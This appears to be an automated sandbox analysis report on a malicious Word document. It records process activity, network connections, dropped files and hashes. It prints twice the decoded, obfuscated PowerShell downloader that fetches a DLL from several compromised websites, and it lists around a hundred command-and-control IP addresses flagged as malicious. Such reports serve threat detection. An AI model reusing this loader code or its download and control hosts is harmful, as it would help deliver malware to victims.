Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00741D4D mov eax, dword ptr fs:[00000030h]	14_2_00741D4D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_007E12C1 mov eax, dword ptr fs:[00000030h]	14_2_007E12C1

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 217.160.169.110 144	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 51.255.203.164 144	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.183.16.47 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 84.232.229.24 80	Jump to behavior

Source: unknown	Process created: Base64 decoded SET ("5"+"FTsG") ( [tYPE]("{1}{3}{0}{4}{2}" -F 'Io.','sy','Ory','stem.','dIrect')) ; $qE3R9= [TyPe]("{1}{0}{5}{4}{2}{3}"-f'Y','S','PoiNtmAn','AGEr','tEm.nET.SeRVIce','s') ;$Ko3ac63=$T82H + [char](33) + $P6_S;$I70Z=('Y5'+'0E'); (Get-iTEm ("v"+"a"+"RIABle:5"+"FtSg") ).ValUe::"Cr`EAtE`dire`ctorY"($HOME + ((('e2W'+'K'+'ak')+('tksw'+'e'+'2W')+('An6ot'+'h')+('he'+'2W')) -cREPLACe ('e'+'2W'),[CHAR]92));$W90X=('D'+('63'+'T')); (VarIABle Qe3R9 -vALuEOnl )::"S`EC`UrIt`Y`protoCOL" = ('Tl'+('s1'+'2'));$E32N=('J'+('96'+'C'));$Ue7v6em = (('N'+'49')+'I');$B31C=('A8'+'1J');$Qfx10xa=$HOME+(('{0}Ka'+'ktksw{'+'0'+'}'+'An'+'6othh{0}')-F [chaR]92)+$Ue7v6em+'.d' + 'll';$Y03E=('B3'+'3R');$K1iuxxp='h' + 'tt' + 'p';$Ta1ysp4=('ns'+' '+('wu d'+'b ')+('n'+'d:')+('/'+'/shan')+'n'+('ar'+'e')+'d'+('.com/co'+'n'+'te'+'n')+'t'+('/lh'+'A')+('Le'+'S')+('/!n'+'s')+(' wu '+'db')+(' n'+'d:')+'//'+('jee'+'van')+('lic.com/w'+'p-'+'co'+'n'+'te')+('nt'+'/')+('r'+'8M/!'+'ns')+(' '+'wu '+'db nd')+(':/'+'/d')+'as'+('h'+'ud')+('ance'+'.co')+('m/'+'th')+'in'+('kp'+'h'+'p/d')+'g'+'s'+('7J'+'m9')+'/'+('!n'+'s w')+('u d'+'b')+(' n'+'d:/'+'/')+('l'+'eo')+('par'+'dc')+('ran'+'es')+('.co'+'m/'+'zynq')+'-'+'l'+('i'+'nu'+'x'+'-yaay')+'f/'+('w'+'/!n')+'s '+('wu '+'db'+' ')+'n'+'d'+':'+'/'+('/mmrinc'+'s.')+('co'+'m'+'/eternal-')+('d'+'uel')+('i'+'st-')+('9cu'+'qv/j')+('x'+'GQj/!'+'n')+('s'+' w')+('u d'+'b nd'+':/')+('/3'+'mu'+'sk')+'et'+('eer'+'sent.ne'+'t/')+('w'+'p-in'+'cludes/TU'+'gD/!n'+'s ')+'wu'+' '+('d'+'b ')
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded SET ("5"+"FTsG") ( [tYPE]("{1}{3}{0}{4}{2}" -F 'Io.','sy','Ory','stem.','dIrect')) ; $qE3R9= [TyPe]("{1}{0}{5}{4}{2}{3}"-f'Y','S','PoiNtmAn','AGEr','tEm.nET.SeRVIce','s') ;$Ko3ac63=$T82H + [char](33) + $P6_S;$I70Z=('Y5'+'0E'); (Get-iTEm ("v"+"a"+"RIABle:5"+"FtSg") ).ValUe::"Cr`EAtE`dire`ctorY"($HOME + ((('e2W'+'K'+'ak')+('tksw'+'e'+'2W')+('An6ot'+'h')+('he'+'2W')) -cREPLACe ('e'+'2W'),[CHAR]92));$W90X=('D'+('63'+'T')); (VarIABle Qe3R9 -vALuEOnl )::"S`EC`UrIt`Y`protoCOL" = ('Tl'+('s1'+'2'));$E32N=('J'+('96'+'C'));$Ue7v6em = (('N'+'49')+'I');$B31C=('A8'+'1J');$Qfx10xa=$HOME+(('{0}Ka'+'ktksw{'+'0'+'}'+'An'+'6othh{0}')-F [chaR]92)+$Ue7v6em+'.d' + 'll';$Y03E=('B3'+'3R');$K1iuxxp='h' + 'tt' + 'p';$Ta1ysp4=('ns'+' '+('wu d'+'b ')+('n'+'d:')+('/'+'/shan')+'n'+('ar'+'e')+'d'+('.com/co'+'n'+'te'+'n')+'t'+('/lh'+'A')+('Le'+'S')+('/!n'+'s')+(' wu '+'db')+(' n'+'d:')+'//'+('jee'+'van')+('lic.com/w'+'p-'+'co'+'n'+'te')+('nt'+'/')+('r'+'8M/!'+'ns')+(' '+'wu '+'db nd')+(':/'+'/d')+'as'+('h'+'ud')+('ance'+'.co')+('m/'+'th')+'in'+('kp'+'h'+'p/d')+'g'+'s'+('7J'+'m9')+'/'+('!n'+'s w')+('u d'+'b')+(' n'+'d:/'+'/')+('l'+'eo')+('par'+'dc')+('ran'+'es')+('.co'+'m/'+'zynq')+'-'+'l'+('i'+'nu'+'x'+'-yaay')+'f/'+('w'+'/!n')+'s '+('wu '+'db'+' ')+'n'+'d'+':'+'/'+('/mmrinc'+'s.')+('co'+'m'+'/eternal-')+('d'+'uel')+('i'+'st-')+('9cu'+'qv/j')+('x'+'GQj/!'+'n')+('s'+' w')+('u d'+'b nd'+':/')+('/3'+'mu'+'sk')+'et'+('eer'+'sent.ne'+'t/')+('w'+'p-in'+'cludes/TU'+'gD/!n'+'s ')+'wu'+' '+('d'+'b ')			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

IP	Domain	Country	ASN	ASN Name	Malicious
200.75.39.254:80	unknown	unknown	unknown	unknown	true
192.175.111.212:7080	unknown	unknown	unknown	unknown	true
91.233.197.70:80	unknown	unknown	unknown	unknown	true
94.23.45.86:7080	unknown	unknown	unknown	unknown	true
81.4.105.175:8080	unknown	unknown	unknown	unknown	true
93.146.143.191:80	unknown	unknown	unknown	unknown	true
93.149.120.214:80	unknown	unknown	unknown	unknown	true
212.71.237.140:8080	unknown	unknown	unknown	unknown	true
46.101.58.37:8080	unknown	unknown	unknown	unknown	true
181.30.61.163:443	unknown	unknown	unknown	unknown	true
206.189.232.2:8080	unknown	unknown	unknown	unknown	true
181.10.46.92:80	unknown	unknown	unknown	unknown	true
213.52.74.198:80	unknown	unknown	unknown	unknown	true
87.106.253.248:8080	unknown	unknown	unknown	unknown	true
217.160.169.110	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
51.255.203.164	unknown	France	16276	OVHFR	true
191.223.36.170:80	unknown	unknown	unknown	unknown	true
186.177.174.163:80	unknown	unknown	unknown	unknown	true
217.13.106.14:8080	unknown	unknown	unknown	unknown	true
138.97.60.141:7080	unknown	unknown	unknown	unknown	true
201.185.69.28:443	unknown	unknown	unknown	unknown	true
45.16.226.117:443	unknown	unknown	unknown	unknown	true
82.208.146.142:7080	unknown	unknown	unknown	unknown	true
192.169.223.13	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
1.226.84.243:8080	unknown	unknown	unknown	unknown	true
84.232.229.24	unknown	Romania	8708	RCS-RDS73-75DrStaicoviciRO	true
70.32.115.157:8080	unknown	unknown	unknown	unknown	true
217.160.169.110:8080	unknown	unknown	unknown	unknown	true
85.105.239.184:443	unknown	unknown	unknown	unknown	true
152.170.79.100:80	unknown	unknown	unknown	unknown	true
143.0.85.206:7080	unknown	unknown	unknown	unknown	true
51.255.203.164:8080	unknown	unknown	unknown	unknown	true
94.176.234.118:443	unknown	unknown	unknown	unknown	true
50.28.51.143:8080	unknown	unknown	unknown	unknown	true
185.94.252.27:443	unknown	unknown	unknown	unknown	true
31.27.59.105:80	unknown	unknown	unknown	unknown	true
197.232.36.108:80	unknown	unknown	unknown	unknown	true
190.45.24.210:80	unknown	unknown	unknown	unknown	true
185.183.16.47:80	unknown	unknown	unknown	unknown	true
190.24.243.186:80	unknown	unknown	unknown	unknown	true
190.64.88.186:443	unknown	unknown	unknown	unknown	true
82.48.39.246:80	unknown	unknown	unknown	unknown	true
191.241.233.198:80	unknown	unknown	unknown	unknown	true
170.81.48.2:80	unknown	unknown	unknown	unknown	true
172.245.248.239:8080	unknown	unknown	unknown	unknown	true
154.127.113.242:80	unknown	unknown	unknown	unknown	true
95.76.153.115:80	unknown	unknown	unknown	unknown	true
211.215.18.93:8080	unknown	unknown	unknown	unknown	true
80.249.176.206:80	unknown	unknown	unknown	unknown	true
110.39.160.38:443	unknown	unknown	unknown	unknown	true
185.183.16.47	unknown	Spain	201453	AKIWIFIAKIWIFIES	true
137.74.106.111:7080	unknown	unknown	unknown	unknown	true
5.196.35.138:7080	unknown	unknown	unknown	unknown	true
46.43.2.95:8080	unknown	unknown	unknown	unknown	true
188.135.15.49:80	unknown	unknown	unknown	unknown	true
177.23.7.151:80	unknown	unknown	unknown	unknown	true
68.183.190.199:8080	unknown	unknown	unknown	unknown	true
201.48.121.65:443	unknown	unknown	unknown	unknown	true
105.209.235.113:8080	unknown	unknown	unknown	unknown	true
94.126.8.1:80	unknown	unknown	unknown	unknown	true
60.93.23.51:80	unknown	unknown	unknown	unknown	true
62.84.75.50:80	unknown	unknown	unknown	unknown	true
190.247.139.101:80	unknown	unknown	unknown	unknown	true
138.97.60.140:8080	unknown	unknown	unknown	unknown	true
177.85.167.10:80	unknown	unknown	unknown	unknown	true
172.104.169.32:8080	unknown	unknown	unknown	unknown	true
51.255.165.160:8080	unknown	unknown	unknown	unknown	true
209.33.120.130:80	unknown	unknown	unknown	unknown	true
149.202.72.142:7080	unknown	unknown	unknown	unknown	true
12.163.208.58:80	unknown	unknown	unknown	unknown	true
84.232.229.24:80	unknown	unknown	unknown	unknown	true
81.17.93.134:80	unknown	unknown	unknown	unknown	true
152.231.89.226:80	unknown	unknown	unknown	unknown	true
87.106.46.107:8080	unknown	unknown	unknown	unknown	true
78.206.229.130:80	unknown	unknown	unknown	unknown	true
202.134.4.210:7080	unknown	unknown	unknown	unknown	true
51.38.124.206:80	unknown	unknown	unknown	unknown	true
187.162.248.237:80	unknown	unknown	unknown	unknown	true
152.169.22.67:80	unknown	unknown	unknown	unknown	true
12.162.84.2:8080	unknown	unknown	unknown	unknown	true
190.162.232.138:80	unknown	unknown	unknown	unknown	true
122.201.23.45:443	unknown	unknown	unknown	unknown	true
109.101.137.162:8080	unknown	unknown	unknown	unknown	true
85.214.26.7:8080	unknown	unknown	unknown	unknown	true
116.125.120.88:443	unknown	unknown	unknown	unknown	true
188.225.32.231:7080	unknown	unknown	unknown	unknown	true
104.130.154.83:7080	unknown	unknown	unknown	unknown	true
190.251.216.100:80	unknown	unknown	unknown	unknown	true
104.131.41.185:8080	unknown	unknown	unknown	unknown	true
80.15.100.37:80	unknown	unknown	unknown	unknown	true
81.215.230.173:443	unknown	unknown	unknown	unknown	true
149.62.173.247:8080	unknown	unknown	unknown	unknown	true
167.71.148.58:443	unknown	unknown	unknown	unknown	true
46.105.114.137:8080	unknown	unknown	unknown	unknown	true
110.39.162.2:443	unknown	unknown	unknown	unknown	true
190.210.246.253:80	unknown	unknown	unknown	unknown	true
81.214.253.80:443	unknown	unknown	unknown	unknown	true
138.197.99.250:8080	unknown	unknown	unknown	unknown	true

ID:	344852
Product:	CloudBasic
Start time:	09:29:42
Start date:	27.01.2021
Sample:	ARCH_25_012021.doc
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Architecture:	WINDOWS
MD5:	baedc37e68b58765fa52c73d0fd2c2d5
SHA1:	2131d1319b5de532638d34f1e3bf68337b6099bf
SHA256:	94485b3ce47d4a2df6dba8e888ca7a360763f7edd5a0448552d1d06b6e4f4baa
Filetype:	Microsoft Word document (32009/1) 79.99%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A07E7EB5-D643-47FF-B622-0CF30ED55516}.tmp	data	5D4D94EE7E06BBB0AF9584119797B23A	DBB111419C704F116EFA8E72471DD83E86E49677	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E3935BE2-A796-4096-8B6B-C6BCF64E2588}.tmp	data	B6B5BAF66D24A013A181E73F18CAB748	B7A5BA97AB20478F0E4D5E6DCAC864208F2403BD	717C635B3416856BBC33233CCD388B72CC4F216621D929E7DC580D72B79798D0
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\ARCH_25_012021.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Aug 26 14:08:14 2020, atime=Wed Jan 27 16:30:34 2021, length=175616, window=hide	AA3B7DF3EB16E1412DA0F6CD651990E1	7EF784E4F5180B90B12AF7270D6CFA2DDB9A4D52	5416F79079A05BCD1A8987F9990B6860972D0B5D416063F3B22E64C63C856F0A
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat	ASCII text, with CRLF line terminators	EF242110122D8695A53B38974D63C306	F74EF8F7E90EF2B664F03FC482D2F1526159AC48	320FBB51CEDFAE2FA1371AAD0622E8A5333C66EBE13A89A21B19789A0739B236
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm	data	6AF5EAEBE6C935D9A5422D99EEE6BEF0	6FE25A65D5CC0D4F989A1D79DF5CE1D225D790EC	CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FA6CB4719
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UXL3RQT94R3A0BC61R7X.temp	data	2AFCC6ACCB87C1228DEA47C66ABE1379	E31078085D680E885A403812F3BB51403F7398FA	44B271339E3D7B9CC739669C9AA6F27278FED1F62FFD7AD4AD29A6DB5B3D585F
C:\Users\user\Desktop\~$CH_25_012021.doc	data	6AF5EAEBE6C935D9A5422D99EEE6BEF0	6FE25A65D5CC0D4F989A1D79DF5CE1D225D790EC	CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FA6CB4719
C:\Users\user\Kaktksw\An6othh\N49I.dll	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	E09F65C1A92653035B27E603980CB205	78DCA7A2190C82DC8DC4A0EAC302379804C79AA9	D09BACE1490F6EE322262FF2DA373E861F3B3B9BC03C386CE8A031648F1EAA4F